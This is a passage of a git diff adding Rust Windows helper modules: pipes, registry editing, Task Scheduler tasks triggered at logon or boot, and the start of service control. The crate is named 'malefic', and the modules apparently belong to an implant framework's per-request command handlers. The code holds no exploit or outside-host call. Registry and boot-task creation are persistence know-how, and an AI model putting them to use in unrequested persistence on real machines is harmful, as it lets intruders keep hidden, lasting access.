.chain(std::iter::once(0)) + .collect(); + let mut waited = false; + loop { + match PipeClient::create_file(&wide_pipe_name, GENERIC_READ.0 | GENERIC_WRITE.0) { + Ok(handle) => { + let result = unsafe { + let mode = + NAMED_PIPE_MODE(PIPE_TYPE_BYTE.0 | PIPE_READMODE_BYTE.0 | PIPE_WAIT.0); + SetNamedPipeHandleState( + handle, + Some(&mode as *const NAMED_PIPE_MODE), + None, + None, + ) + }; + if result.is_ok() { + return Ok(PipeClient { + handle: Handle { value: handle }, + }); + } else { + return Err(common::last_win32_error()); + } + } + Err(err) => { + if err.code() == windows::core::HRESULT::from_win32(ERROR_PIPE_BUSY.0) { + if !waited { + waited = true; + let result = + unsafe { WaitNamedPipeW(PCWSTR(wide_pipe_name.as_ptr()), timeout) }; + if result == FALSE { + return Err(err); + } + } else { + return Err(err); + } + } else { + return Err(err); + } + } + } + } + } + + pub fn read(&self, buffer: &mut [u8]) -> Result { + let mut bytes_read = 0; + unsafe { + ReadFile(self.handle.value, Some(buffer), Some(&mut bytes_read), None)?; + Ok(bytes_read as usize) + } + } + + pub fn write(&self, buffer: &[u8]) -> Result { + let mut bytes_written = 0; + unsafe { + WriteFile( + self.handle.value, + Some(buffer), + Some(&mut bytes_written), + None, + )?; + Ok(bytes_written as usize) + } + } +} + +impl Drop for PipeClient { + fn drop(&mut self) { + unsafe { + let _ = FlushFileBuffers(self.handle.value); + // Note: DisconnectNamedPipe is a server-only API, not called here + } + } +} + +#[derive(Debug)] +pub struct AnonymousPipe { + read_handle: HANDLE, + write_handle: HANDLE, +} + +impl AnonymousPipe { + pub fn create() -> Result { + let mut read_handle = HANDLE::default(); + let mut write_handle = HANDLE::default(); + let mut sa = SECURITY_ATTRIBUTES { + nLength: std::mem::size_of::() as u32, + lpSecurityDescriptor: std::ptr::null_mut(), + bInheritHandle: true.into(), + }; + unsafe { + if CreatePipe(&mut read_handle, &mut write_handle, Some(&mut sa), 0).is_err() { + return Err(common::last_win32_error()); + } + } + Ok(AnonymousPipe { + read_handle, + write_handle, + }) + } + + pub fn read(&self) -> Result { + let mut buffer = [0u8; 4096]; + let mut total_output = Vec::new(); + loop { + let mut bytes_read = 0; + let result = unsafe { + ReadFile( + self.read_handle, + Some(&mut buffer), + Some(&mut bytes_read), + None, + ) + }; + if result.is_err() { + let error = unsafe { GetLastError() }; + if error == ERROR_BROKEN_PIPE { + break; + } + return Err(Error::from(WIN32_ERROR(error.0))); + } + if bytes_read == 0 { + break; + } + total_output.extend_from_slice(&buffer[..bytes_read as usize]); + } + Ok(String::from_utf8_lossy(&total_output).to_string()) + } + + pub fn write(&self, data: &[u8]) -> Result { + let mut bytes_written = 0; + unsafe { + WriteFile( + self.write_handle, + Some(data), + Some(&mut bytes_written), + None, + )?; + } + Ok(bytes_written) + } + + pub fn get_read_handle(&self) -> HANDLE { + self.read_handle + } + pub fn get_write_handle(&self) -> HANDLE { + self.write_handle + } +} + +impl Drop for AnonymousPipe { + fn drop(&mut self) { + unsafe { + let _ = CloseHandle(self.read_handle); + let _ = CloseHandle(self.write_handle); + } + } +} diff --git a/malefic-crates/win/src/reg/mod.rs b/malefic-crates/win/src/reg/mod.rs new file mode 100644 index 0000000..5e21ff4 --- /dev/null +++ b/malefic-crates/win/src/reg/mod.rs @@ -0,0 +1,512 @@ +use crate::common::{self, check_win32, to_wide_string, wide_as_bytes}; +use std::collections::HashMap; +use std::convert::TryInto; +use std::fmt; +use std::ptr::null_mut; +use strum_macros::{Display, EnumString}; +use windows::core::{Result, PCWSTR, PWSTR}; +use windows::Win32::Foundation::{ + ERROR_ACCESS_DENIED, ERROR_FILE_NOT_FOUND, ERROR_MORE_DATA, ERROR_NO_MORE_ITEMS, WIN32_ERROR, +}; +use windows::Win32::System::Registry::{ + RegCloseKey, RegCreateKeyExW, RegDeleteKeyExW, RegDeleteTreeW, RegDeleteValueW, RegEnumKeyExW, + RegEnumValueW, RegOpenKeyExW, RegQueryValueExW, RegSetValueExW, HKEY, HKEY_CLASSES_ROOT, + HKEY_CURRENT_CONFIG, HKEY_CURRENT_USER, HKEY_CURRENT_USER_LOCAL_SETTINGS, HKEY_DYN_DATA, + HKEY_LOCAL_MACHINE, HKEY_PERFORMANCE_DATA, HKEY_PERFORMANCE_NLSTEXT, HKEY_PERFORMANCE_TEXT, + HKEY_USERS, KEY_ALL_ACCESS, KEY_READ, KEY_WRITE, REG_BINARY, REG_DWORD, REG_EXPAND_SZ, + REG_MULTI_SZ, REG_OPTION_NON_VOLATILE, REG_QWORD, REG_SZ, REG_VALUE_TYPE, +}; + +#[derive(Debug)] +pub enum RegistryValue { + String(String), + Dword(u32), + Qword(u64), + Binary(Vec), + MultiString(Vec), + ExpandString(String), +} + +// Implement method to convert RegistryValue to String +impl fmt::Display for RegistryValue { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + RegistryValue::String(val) => write!(f, "{}", val), + RegistryValue::Dword(val) => write!(f, "{}", val), + RegistryValue::Qword(val) => write!(f, "{}", val), + RegistryValue::Binary(val) => write!(f, "{:?}", val), + RegistryValue::MultiString(val) => write!(f, "{:?}", val), + RegistryValue::ExpandString(val) => write!(f, "{}", val), + } + } +} + +// Implement reading from buffer and converting to RegistryValue +impl RegistryValue { + pub fn from_buffer(data_type: REG_VALUE_TYPE, buffer: &[u8], buffer_size: u32) -> Self { + match data_type { + REG_SZ | REG_EXPAND_SZ => { + let wide_buffer_len = (buffer_size as usize / 2).saturating_sub(1); + let content = String::from_utf16_lossy( + &buffer[..wide_buffer_len * 2] + .chunks(2) + .map(|s| u16::from_le_bytes([s[0], s[1]])) + .collect::>(), + ); + if data_type == REG_SZ { + RegistryValue::String(content) + } else { + RegistryValue::ExpandString(content) + } + } + REG_DWORD => { + if (buffer_size as usize) < 4 { + #[cfg(debug_assertions)] + malefic_common::debug!( + "WARNING: REG_DWORD buffer too small: {} bytes", + buffer_size + ); + return RegistryValue::Dword(0); + } + let data: u32 = u32::from_ne_bytes( + buffer[..4] + .try_into() + .expect("buffer length already checked"), + ); + RegistryValue::Dword(data) + } + REG_QWORD => { + if (buffer_size as usize) < 8 { + #[cfg(debug_assertions)] + malefic_common::debug!( + "WARNING: REG_QWORD buffer too small: {} bytes", + buffer_size + ); + return RegistryValue::Qword(0); + } + let data: u64 = u64::from_ne_bytes( + buffer[..8] + .try_into() + .expect("buffer length already checked"), + ); + RegistryValue::Qword(data) + } + REG_BINARY => RegistryValue::Binary(buffer[..buffer_size as usize].to_vec()), + REG_MULTI_SZ => { + let mut result = Vec::new(); + let mut cur = Vec::new(); + for chunk in buffer.chunks_exact(2) { + let chr = u16::from_le_bytes([chunk[0], chunk[1]]); + if chr == 0 { + if !cur.is_empty() { + let s = String::from_utf16_lossy(&cur); + if !s.is_empty() { + result.push(s); + } + cur.clear(); + } + } else { + cur.push(chr); + } + } + RegistryValue::MultiString(result) + } + _ => RegistryValue::String("Unsupported type".to_string()), + } + } +} + +#[derive(Debug, Clone, Copy, EnumString, Display)] +pub enum RegistryHive { + #[strum(serialize = "HKEY_CLASSES_ROOT", serialize = "HKCR")] + ClassesRoot, + #[strum(serialize = "HKEY_CURRENT_USER", serialize = "HKCU")] + CurrentUser, + #[strum(serialize = "HKEY_LOCAL_MACHINE", serialize = "HKLM")] + LocalMachine, + #[strum(serialize = "HKEY_USERS", serialize = "HKU")] + Users, + #[strum(serialize = "HKEY_PERFORMANCE_DATA", serialize = "HKPD")] + PerformanceData, + #[strum(serialize = "HKEY_PERFORMANCE_TEXT", serialize = "HKPT")] + PerformanceText, + #[strum(serialize = "HKEY_PERFORMANCE_NLSTEXT")] + PerformanceNlsText, + #[strum(serialize = "HKEY_CURRENT_CONFIG", serialize = "HKCC")] + CurrentConfig, + #[strum(serialize = "HKEY_DYN_DATA")] + DynData, + #[strum(serialize = "HKEY_CURRENT_USER_LOCAL_SETTINGS")] + CurrentUserLocalSettings, +} + +impl RegistryHive { + pub fn to_hkey(&self) -> HKEY { + match self { + RegistryHive::ClassesRoot => HKEY_CLASSES_ROOT, + RegistryHive::CurrentUser => HKEY_CURRENT_USER, + RegistryHive::LocalMachine => HKEY_LOCAL_MACHINE, + RegistryHive::Users => HKEY_USERS, + RegistryHive::PerformanceData => HKEY_PERFORMANCE_DATA, + RegistryHive::PerformanceText => HKEY_PERFORMANCE_TEXT, + RegistryHive::PerformanceNlsText => HKEY_PERFORMANCE_NLSTEXT, + RegistryHive::CurrentConfig => HKEY_CURRENT_CONFIG, + RegistryHive::DynData => HKEY_DYN_DATA, + RegistryHive::CurrentUserLocalSettings => HKEY_CURRENT_USER_LOCAL_SETTINGS, + } + } +} + +pub struct RegistryKey { + hkey: HKEY, +} + +impl RegistryKey { + pub fn open(hive: RegistryHive, subkey: &str) -> Result { + let hkey_root = hive.to_hkey(); + let subkey_wide = to_wide_string(subkey); + let mut hkey: HKEY = HKEY(null_mut()); + malefic_common::debug!("Opening registry key: {:?} {:?}", hive, subkey); + + unsafe { + let access_levels = [KEY_ALL_ACCESS, KEY_READ | KEY_WRITE, KEY_READ]; + let mut last_status = WIN32_ERROR(0); + + for &access in &access_levels { + let status = RegOpenKeyExW( + hkey_root, + PCWSTR(subkey_wide.as_ptr()), + 0, + access, + &mut hkey, + ); + + if status.0 == 0 { + return Ok(RegistryKey { hkey }); + } + last_status = status; + malefic_common::debug!( + "Failed to open registry key with access {:?}: {}", + access, + status.0 + ); + + if status != WIN32_ERROR(ERROR_ACCESS_DENIED.0) { + break; + } + } + + malefic_common::debug!( + "Failed to open registry key {} {}", + last_status.0, + common::last_win32_error() + ); + Err(windows::core::Error::from(last_status)) + } + } + + pub fn create(hive: RegistryHive, subkey: &str) -> Result { + let hkey_root = hive.to_hkey(); + let subkey_wide = to_wide_string(subkey); + let mut hkey: HKEY = HKEY(null_mut()); + + unsafe { + let mut status = RegCreateKeyExW( + hkey_root, + PCWSTR(subkey_wide.as_ptr()), + 0, + None, + REG_OPTION_NON_VOLATILE, + KEY_ALL_ACCESS, + None, + &mut hkey, + None, + ); + + if status.0 != 0 { + malefic_common::debug!( + "Failed to create registry key with KEY_ALL_ACCESS: {}", + status.0 + ); + if status == WIN32_ERROR(ERROR_ACCESS_DENIED.0) { + status = RegCreateKeyExW( + hkey_root, + PCWSTR(subkey_wide.as_ptr()), + 0, + None, + REG_OPTION_NON_VOLATILE, + KEY_READ | KEY_WRITE, + None, + &mut hkey, + None, + ); + } + } + + if let Err(e) = check_win32(status) { + malefic_common::debug!("Failed to create registry key: {}", status.0); + return Err(e); + } + } + + Ok(RegistryKey { hkey }) + } + + pub fn close(&mut self) { + if !self.hkey.is_invalid() { + unsafe { + let _ = RegCloseKey(self.hkey); + } + self.hkey = HKEY(null_mut()); + } + } + + pub fn query_value(&self, name: &str) -> Result { + let name_wide = to_wide_string(name); + let mut data_type = REG_VALUE_TYPE(0); + let mut buffer_size: u32 = 0; + + unsafe { + let status = RegQueryValueExW( + self.hkey, + PCWSTR(name_wide.as_ptr()), + None, + Some(&mut data_type), + None, + Some(&mut buffer_size), + ); + + if status.0 != 0 && status != WIN32_ERROR(ERROR_MORE_DATA.0) { + return Err(common::last_win32_error()); + } + + let mut buffer = vec![0u8; buffer_size as usize]; + + let status = RegQueryValueExW( + self.hkey, + PCWSTR(name_wide.as_ptr()), + None, + Some(&mut data_type), + Some(buffer.as_mut_ptr()), + Some(&mut buffer_size), + ); + check_win32(status)?; + + Ok(RegistryValue::from_buffer(data_type, &buffer, buffer_size)) + } + } + + pub fn delete_key(&self, subkey: Option<&str>) -> Result<()> { + if let Some(subkey) = subkey { + let subkey_wide = to_wide_string(subkey); + let status: WIN32_ERROR = + unsafe { RegDeleteTreeW(self.hkey, PCWSTR(subkey_wide.as_ptr())) }; + if status.0 != 0 && status != WIN32_ERROR(ERROR_FILE_NOT_FOUND.0) { + return Err(common::last_win32_error()); + } + let status: WIN32_ERROR = + unsafe { RegDeleteKeyExW(self.hkey, PCWSTR(subkey_wide.as_ptr()), 0, 0) }; + if status.0 != 0 && status != WIN32_ERROR(ERROR_FILE_NOT_FOUND.0) { + return Err(common::last_win32_error()); + } + } else { + let empty_subkey = to_wide_string(""); + let status: WIN32_ERROR = + unsafe { RegDeleteKeyExW(self.hkey, PCWSTR(empty_subkey.as_ptr()), 0, 0) }; + if status.0 != 0 && status != WIN32_ERROR(ERROR_FILE_NOT_FOUND.0) { + return Err(common::last_win32_error()); + } + } + Ok(()) + } + + pub fn delete_value(&self, value_name: &str) -> Result<()> { + let value_name_wide = to_wide_string(value_name); + let status = unsafe { RegDeleteValueW(self.hkey, PCWSTR(value_name_wide.as_ptr())) }; + check_win32(status) + } + + pub fn set_value(&self, name: &str, value: RegistryValue) -> Result<()> { + let name_wide = to_wide_string(name); + let status = unsafe { + match value { + RegistryValue::String(data) => { + let data_wide = to_wide_string(&data); + RegSetValueExW( + self.hkey, + PCWSTR(name_wide.as_ptr()), + 0, + REG_SZ, + Some(wide_as_bytes(&data_wide)), + ) + } + RegistryValue::Dword(data) => { + let data_bytes = data.to_ne_bytes(); + RegSetValueExW( + self.hkey, + PCWSTR(name_wide.as_ptr()), + 0, + REG_DWORD, + Some(&data_bytes), + ) + } + RegistryValue::Qword(data) => { + let data_bytes = data.to_ne_bytes(); + RegSetValueExW( + self.hkey, + PCWSTR(name_wide.as_ptr()), + 0, + REG_QWORD, + Some(&data_bytes), + ) + } + RegistryValue::Binary(data) => RegSetValueExW( + self.hkey, + PCWSTR(name_wide.as_ptr()), + 0, + REG_BINARY, + Some(&data), + ), + RegistryValue::MultiString(data) => { + let data_wide: Vec = data + .iter() + .flat_map(|s| to_wide_string(s)) + .chain(Some(0)) + .collect(); + RegSetValueExW( + self.hkey, + PCWSTR(name_wide.as_ptr()), + 0, + REG_MULTI_SZ, + Some(wide_as_bytes(&data_wide)), + ) + } + RegistryValue::ExpandString(data) => { + let data_wide = to_wide_string(&data); + RegSetValueExW( + self.hkey, + PCWSTR(name_wide.as_ptr()), + 0, + REG_EXPAND_SZ, + Some(wide_as_bytes(&data_wide)), + ) + } + } + }; + + if let Err(e) = check_win32(status) { + malefic_common::debug!("Failed to set registry value: {}", status.0); + return Err(e); + } + + Ok(()) + } + + pub fn list_subkeys(&self) -> Result> { + let mut index = 0; + let mut subkeys = Vec::new(); + + loop { + let mut name = vec![0u16; 256]; + let mut name_len = name.len() as u32; + + unsafe { + let status = RegEnumKeyExW( + self.hkey, + index, + PWSTR(name.as_mut_ptr()), + &mut name_len, + None, + PWSTR(null_mut()), + None, + None, + ); + + if status.0 == 0 { + let subkey_name = String::from_utf16_lossy(&name[..name_len as usize]); + subkeys.push(subkey_name); + index += 1; + } else if status == WIN32_ERROR(ERROR_NO_MORE_ITEMS.0) { + break; + } else { + return Err(common::last_win32_error()); + } + } + } + + Ok(subkeys) + } + + pub fn list_values(&self) -> Result> { + let mut index = 0; + let mut values = HashMap::new(); + + loop { + let mut name = vec![0u16; 256]; + let mut name_len = name.len() as u32; + let mut data_type = REG_VALUE_TYPE(0); + let mut buffer_size: u32 = 0; + + unsafe { + // First call: get required buffer size for this value + let status = RegEnumValueW( + self.hkey, + index, + PWSTR(name.as_mut_ptr()), + &mut name_len, + None, + Some(&mut data_type.0), + None, + Some(&mut buffer_size), + ); + + if status == WIN32_ERROR(ERROR_NO_MORE_ITEMS.0) { + break; + } else if status.0 != 0 && status != WIN32_ERROR(ERROR_MORE_DATA.0) { + return Err(common::last_win32_error()); + } + + // Allocate buffer with actual needed size + let mut buffer = vec![0u8; buffer_size as usize]; + name_len = name.len() as u32; + + // Second call: get the actual data + let status = RegEnumValueW( + self.hkey, + index, + PWSTR(name.as_mut_ptr()), + &mut name_len, + None, + Some(&mut data_type.0), + Some(buffer.as_mut_ptr()), + Some(&mut buffer_size), + ); + + if status.0 == 0 { + let value_name = String::from_utf16_lossy(&name[..name_len as usize]); + let value_content = RegistryValue::from_buffer(data_type, &buffer, buffer_size); + values.insert(value_name, value_content); + index += 1; + } else if status == WIN32_ERROR(ERROR_NO_MORE_ITEMS.0) { + break; + } else { + return Err(common::last_win32_error()); + } + } + } + + Ok(values) + } +} + +impl Drop for RegistryKey { + fn drop(&mut self) { + if !self.hkey.is_invalid() { + #[cfg(debug_assertions)] + malefic_common::debug!("WARNING: RegistryKey dropped without close()"); + unsafe { + let _ = RegCloseKey(self.hkey); + } + } + } +} diff --git a/malefic-crates/win/src/scheduler/mod.rs b/malefic-crates/win/src/scheduler/mod.rs new file mode 100644 index 0000000..255e46a --- /dev/null +++ b/malefic-crates/win/src/scheduler/mod.rs @@ -0,0 +1,423 @@ +use std::path::PathBuf; +use std::time::Duration; +use windows::core::{Error, Interface, Result, BSTR, HRESULT, VARIANT}; +use windows::Win32::System::Com::{ + CoCreateInstance, CoInitializeEx, CLSCTX_ALL, COINIT_MULTITHREADED, +}; +use windows::Win32::System::TaskScheduler::{ + IActionCollection, IExecAction, IRegisteredTask, IRunningTaskCollection, ITaskDefinition, + ITaskFolder, ITaskService, ITrigger, TaskScheduler, TASK_ACTION_EXEC, TASK_CREATE_OR_UPDATE, + TASK_LOGON_NONE, TASK_STATE, TASK_TRIGGER_BOOT, TASK_TRIGGER_DAILY, TASK_TRIGGER_LOGON, + TASK_TRIGGER_MONTHLY, TASK_TRIGGER_TYPE2, TASK_TRIGGER_WEEKLY, +}; +#[derive(Debug, Clone, PartialEq, Eq, Hash)] +pub enum TaskTriggerType { + Daily, + Weekly, + Monthly, + AtLogon, + AtStartup, +} + +impl From<&TaskTriggerType> for TASK_TRIGGER_TYPE2 { + fn from(tt: &TaskTriggerType) -> Self { + match tt { + TaskTriggerType::Daily => TASK_TRIGGER_DAILY, + TaskTriggerType::Weekly => TASK_TRIGGER_WEEKLY, + TaskTriggerType::Monthly => TASK_TRIGGER_MONTHLY, + TaskTriggerType::AtLogon => TASK_TRIGGER_LOGON, + TaskTriggerType::AtStartup => TASK_TRIGGER_BOOT, + } + } +} + +impl From<&TaskTriggerType> for u32 { + fn from(tt: &TaskTriggerType) -> Self { + match tt { + TaskTriggerType::Daily => 2, + TaskTriggerType::Weekly => 3, + TaskTriggerType::Monthly => 4, + TaskTriggerType::AtLogon => 9, + TaskTriggerType::AtStartup => 8, + } + } +} + +impl TryFrom for TaskTriggerType { + type Error = Error; + fn try_from(value: u32) -> std::result::Result { + match value { + 2 => Ok(TaskTriggerType::Daily), + 3 => Ok(TaskTriggerType::Weekly), + 4 => Ok(TaskTriggerType::Monthly), + 9 => Ok(TaskTriggerType::AtLogon), + 8 => Ok(TaskTriggerType::AtStartup), + _ => Err(Error::new( + HRESULT(-1), + &format!("Invalid TaskTriggerType value: {}", value), + )), + } + } +} + +impl TaskTriggerType { + pub fn to_win32(&self) -> TASK_TRIGGER_TYPE2 { + self.into() + } + + pub fn to_int(&self) -> u32 { + self.into() + } + + pub fn from_int(value: u32) -> Result { + value.try_into() + } +} + +#[derive(Debug, Clone)] +pub struct TaskConfig { + pub name: String, + pub path: String, + pub description: String, + pub executable_path: PathBuf, + pub trigger_type: TaskTriggerType, + pub duration: Duration, + pub start_boundary: String, + pub enabled: bool, +} + +#[derive(Debug, Clone)] +pub struct TaskStatus { + pub state: TASK_STATE, + pub last_run_time: Option, + pub next_run_time: Option, + pub enabled: bool, +} + +#[derive(Debug, Clone)] +pub struct TaskSchedule { + pub config: TaskConfig, + pub status: TaskStatus, +} + +/// Parse an ISO 8601 duration string (e.g., "PT1H30M", "PT45S") into a Duration. +/// Only supports the time portion (PT prefix). Returns Duration::ZERO for invalid input. +pub fn parse_iso8601_duration(s: &str) -> Duration { + let s = s.trim(); + if !s.starts_with("PT") && !s.starts_with("pt") { + return Duration::ZERO; + } + let mut total_secs: u64 = 0; + let mut num_buf = String::new(); + for c in s[2..].chars() { + match c { + 'H' | 'h' => { + total_secs += num_buf.parse::().unwrap_or(0) * 3600; + num_buf.clear(); + } + 'M' | 'm' => { + total_secs += num_buf.parse::().unwrap_or(0) * 60; + num_buf.clear(); + } + 'S' | 's' => { + total_secs += num_buf.parse::().unwrap_or(0); + num_buf.clear(); + } + _ => num_buf.push(c), + } + } + Duration::from_secs(total_secs) +} + +pub struct TaskSchedulerManager { + task_service: ITaskService, +} + +impl TaskSchedulerManager { + pub fn initialize() -> Result { + unsafe { + let _ = CoInitializeEx(None, COINIT_MULTITHREADED); + + let task_service: ITaskService = CoCreateInstance(&TaskScheduler, None, CLSCTX_ALL)?; + task_service.Connect(None, None, None, None)?; + Ok(TaskSchedulerManager { task_service }) + } + } + + pub fn create_task(&self, config: TaskConfig) -> Result { + unsafe { + let task_folder: ITaskFolder = + self.task_service.GetFolder(&BSTR::from(&config.path))?; + let task_definition: ITaskDefinition = self.task_service.NewTask(0)?; + + // Set description via RegistrationInfo + if !config.description.is_empty() { + let reg_info = task_definition.RegistrationInfo()?; + reg_info.SetDescription(&BSTR::from(&config.description))?; + } + + // Set trigger + let trigger_collection = task_definition.Triggers()?; + let trigger = trigger_collection + .Create(config.trigger_type.to_win32())? + .cast::()?; + trigger.SetStartBoundary(&BSTR::from(&config.start_boundary))?; + + // Set repetition if duration is non-zero + if config.duration.as_secs() > 0 { + let repetition = trigger.Repetition()?; + let hours = config.duration.as_secs() / 3600; + let minutes = (config.duration.as_secs() % 3600) / 60; + let seconds = config.duration.as_secs() % 60; + let interval_str = format!("PT{}H{}M{}S", hours, minutes, seconds); + repetition.SetInterval(&BSTR::from(interval_str))?; + } + + // Set enabled state via Settings + let settings = task_definition.Settings()?; + settings.SetEnabled(windows::Win32::Foundation::VARIANT_BOOL::from( + config.enabled, + ))?; + + // Set execution action + let action_collection: IActionCollection = task_definition.Actions()?; + let action = action_collection.Create(TASK_ACTION_EXEC)?; + let exec_action: IExecAction = action.cast()?; + exec_action.SetPath(&BSTR::from( + config.executable_path.to_string_lossy().as_ref(), + ))?; + + // Register task + task_folder.RegisterTaskDefinition( + &BSTR::from(&config.name), + &task_definition, + TASK_CREATE_OR_UPDATE.0, + None, + None, + TASK_LOGON_NONE, + None, + )?; + + Ok(config) + } + } + + pub fn run_task(&self, path: &str, task_name: &str) -> Result<()> { + unsafe { + // Get task folder at specified path + let task_folder: ITaskFolder = self.task_service.GetFolder(&BSTR::from(path))?; + // Find specified task + let task: IRegisteredTask = task_folder.GetTask(&BSTR::from(task_name))?; + // Run task immediately + task.Run(None)?; + Ok(()) + } + } + + pub fn start_task(&self, path: &str, task_name: &str) -> Result<()> { + self.run_task(path, task_name) + } + + pub fn stop_task(&self, path: &str, task_name: &str) -> Result<()> { + unsafe { + let task_folder: ITaskFolder = self.task_service.GetFolder(&BSTR::from(path))?; + let task: IRegisteredTask = task_folder.GetTask(&BSTR::from(task_name))?; + let running_tasks: IRunningTaskCollection = task.GetInstances(0)?; + let count = running_tasks.Count()?; + for i in 0..count { + // COM collections are 1-indexed + let index = VARIANT::from(i + 1); + let running_task = running_tasks.get_Item(&index)?; + running_task.Stop()?; + } + Ok(()) + } + } + + pub fn delete_task(&self, path: &str, task_name: &str) -> Result<()> { + unsafe { + let task_folder: ITaskFolder = self.task_service.GetFolder(&BSTR::from(path))?; + task_folder.DeleteTask(&BSTR::from(task_name), 0)?; + Ok(()) + } + } + + pub fn query_task(&self, path: &str, task_name: &str) -> Result { + unsafe { + let task_folder: ITaskFolder = self.task_service.GetFolder(&BSTR::from(path))?; + let task: IRegisteredTask = task_folder.GetTask(&BSTR::from(task_name))?; + self.get_task(&task) + } + } + + fn get_task(&self, task: &IRegisteredTask) -> Result { + unsafe { + // Get task definition + let task_definition: ITaskDefinition = task.Definition()?; + let triggers = task_definition.Triggers()?; + + // Configure TaskConfig + let mut trigger_type = TaskTriggerType::Daily; + let mut start_boundary = "N/A".to_string(); + let mut duration = Duration::new(0, 0); + + let mut trigger_count = 0; + triggers.Count(&mut trigger_count)?; + if trigger_count > 0 { + // COM collections are 1-indexed + let trigger = triggers.get_Item(1)?; + let mut trigger_start: BSTR = BSTR::new(); + trigger.StartBoundary(&mut trigger_start)?; + start_boundary = trigger_start.to_string(); + + let mut interval_bstr: BSTR = BSTR::new(); + trigger.Repetition()?.Interval(&mut interval_bstr)?; + let interval_str = interval_bstr.to_string(); + duration = parse_iso8601_duration(&interval_str); + + let mut trigger_type_value = TASK_TRIGGER_TYPE2(0); + trigger.Type(&mut trigger_type_value)?; + trigger_type = TaskTriggerType::from_int(trigger_type_value.0 as u32) + .unwrap_or(TaskTriggerType::Daily); + } + + let action_collection = task_definition.Actions()?; + // COM collections are 1-indexed + let action = action_collection.get_Item(1)?; + let exec_action: IExecAction = action.cast()?; + let mut path_bstr: BSTR = BSTR::new(); + exec_action.Path(&mut path_bstr)?; + + let mut description_bstr: BSTR = BSTR::new(); + task_definition + .RegistrationInfo()? + .Description(&mut description_bstr)?; + + // task.Path() returns the full path like "\FolderName\TaskName". + // We need just the folder portion, since all APIs (run/query/delete) + // use path as a folder argument to GetFolder(). + let full_path = task.Path()?.to_string(); + let folder_path = std::path::Path::new(&full_path) + .parent() + .map(|p| p.to_string_lossy().to_string()) + .unwrap_or_else(|| "\\".to_string()); + + let config = TaskConfig { + name: task.Name()?.to_string(), + path: folder_path, + description: description_bstr.to_string(), + executable_path: PathBuf::from(path_bstr.to_string()), + trigger_type, + duration, + start_boundary, + enabled: task.Enabled()?.as_bool(), + }; + + // Get TaskStatus + let state = task.State()?; + let last_run_time = task.LastRunTime()?.to_string(); + let next_run_time = task.NextRunTime()?.to_string(); + + let status = TaskStatus { + state, + last_run_time: Some(last_run_time), + next_run_time: Some(next_run_time), + enabled: task.Enabled()?.as_bool(), + }; + + Ok(TaskSchedule { config, status }) + } + } + + // Modify list_tasks_in_folder to return Vec + fn list_tasks_in_folder(&self, folder: &ITaskFolder) -> Result> { + let mut tasks = Vec::new(); + unsafe { + let tasks_collection = folder.GetTasks(0)?; + let count = tasks_collection.Count()?; + + for i in 0..count { + // COM collections are 1-indexed + let task: IRegisteredTask = tasks_collection.get_Item(&VARIANT::from(i + 1))?; + if let Ok(schedule) = self.get_task(&task) { + tasks.push(schedule); + } + } + } + Ok(tasks) + } + + // List direct subfolders of current folder + fn list_sub_folders(&self, folder: &ITaskFolder) -> Result> { + let mut sub_folders = Vec::new(); + unsafe { + let folders_collection = folder.GetFolders(0)?; + let folder_count = folders_collection.Count()?; + + for i in 0..folder_count { + // COM collections are 1-indexed + let sub_folder = folders_collection.get_Item(&VARIANT::from(i + 1))?; + sub_folders.push(sub_folder); + } + } + + Ok(sub_folders) + } + + fn list_recu_sub_folders(&self, folder: &ITaskFolder) -> Result> { + let mut all_sub_folders = Vec::new(); + let direct_sub_folders = self.list_sub_folders(folder)?; + + for sub_folder in direct_sub_folders { + all_sub_folders.push(sub_folder.clone()); + + let child_folders = self.list_recu_sub_folders(&sub_folder)?; + all_sub_folders.extend(child_folders); + } + + Ok(all_sub_folders) + } + + // Modify list_tasks to return Vec + pub fn list_tasks(&self, start_folder_path: &str) -> Result> { + let start_folder = unsafe { + self.task_service + .GetFolder(&BSTR::from(start_folder_path))? + }; + let mut all_schedules = self.list_tasks_in_folder(&start_folder)?; + let sub_folders = self.list_recu_sub_folders(&start_folder)?; + for folder in sub_folders { + malefic_common::debug!("Listing tasks in folder {:#?}", folder); + match self.list_tasks_in_folder(&folder) { + Ok(mut folder_tasks) => all_schedules.append(&mut folder_tasks), + Err(_e) => { + malefic_common::debug!( + "Failed to list tasks in folder {:?}{:?}: {:?}", + unsafe { folder.Path() }, + unsafe { folder.Name() }, + _e + ) + } + } + } + + Ok(all_schedules) + } +} + +// NOTE: Do NOT implement Drop with CoUninitialize() for TaskSchedulerManager. +// Each module handler (TaskSchdList, TaskSchdCreate, etc.) creates a new +// TaskSchedulerManager per request via `TaskSchedulerManager::initialize()`. +// If Drop calls CoUninitialize(), it will tear down COM for the entire thread, +// causing subsequent initialize() calls in the same thread to fail. +// Since CoInitializeEx is idempotent (returns S_FALSE on repeated calls), +// but CoUninitialize is NOT, the safe approach is to let COM stay initialized +// for the thread's lifetime. +// +// impl Drop for TaskSchedulerManager { +// fn drop(&mut self) { +// unsafe { +// CoUninitialize(); +// } +// } +// } diff --git a/malefic-crates/win/src/service/mod.rs b/malefic-crates/win/src/service/mod.rs new file mode 100644 index 0000000..2fd7a76 --- /dev/null +++ b/malefic-crates/win/src/service/mod.rs @@ -0,0 +1,520 @@ +use std::ffi::OsString; +use std::path::PathBuf; +use std::time::Duration; +use windows::Win32::System::Services::{ + CloseServiceHandle, ControlService, CreateServiceW, DeleteService, EnumServicesStatusExW, + OpenSCManagerW, OpenServiceW, QueryServiceConfigW, QueryServiceStatusEx, StartServiceW, + QUERY_SERVICE_CONFIGW, SC_ENUM_PROCESS_INFO, SC_HANDLE, SC_MANAGER_ALL_ACCESS, + SC_MANAGER_CONNECT, SC_MANAGER_ENUMERATE_SERVICE, SC_STATUS_PROCESS_INFO, SERVICE_ALL_ACCESS, + SERVICE_AUTO_START, SERVICE_BOOT_START, SERVICE_CONTINUE_PENDING, SERVICE_CONTROL_STOP, + SERVICE_DEMAND_START, SERVICE_DISABLED, SERVICE_ERROR, SERVICE_ERROR_CRITICAL, + SERVICE_ERROR_IGNORE, SERVICE_ERROR_NORMAL, SERVICE_ERROR_SEVERE, SERVICE_PAUSED, + SERVICE_PAUSE_PENDING, SERVICE_QUERY_CONFIG, SERVICE_QUERY_STATUS, SERVICE_RUNNING, + SERVICE_START, SERVICE_START_PENDING, SERVICE_START_TYPE, SERVICE_STATE_ALL, SERVICE_STATUS, + SERVICE_STATUS_PROCESS, SERVICE_STOP, SERVICE_STOPPED, SERVICE_STOP_PENDING, + SERVICE_SYSTEM_START, SERVICE_WIN32_OWN_PROCESS, 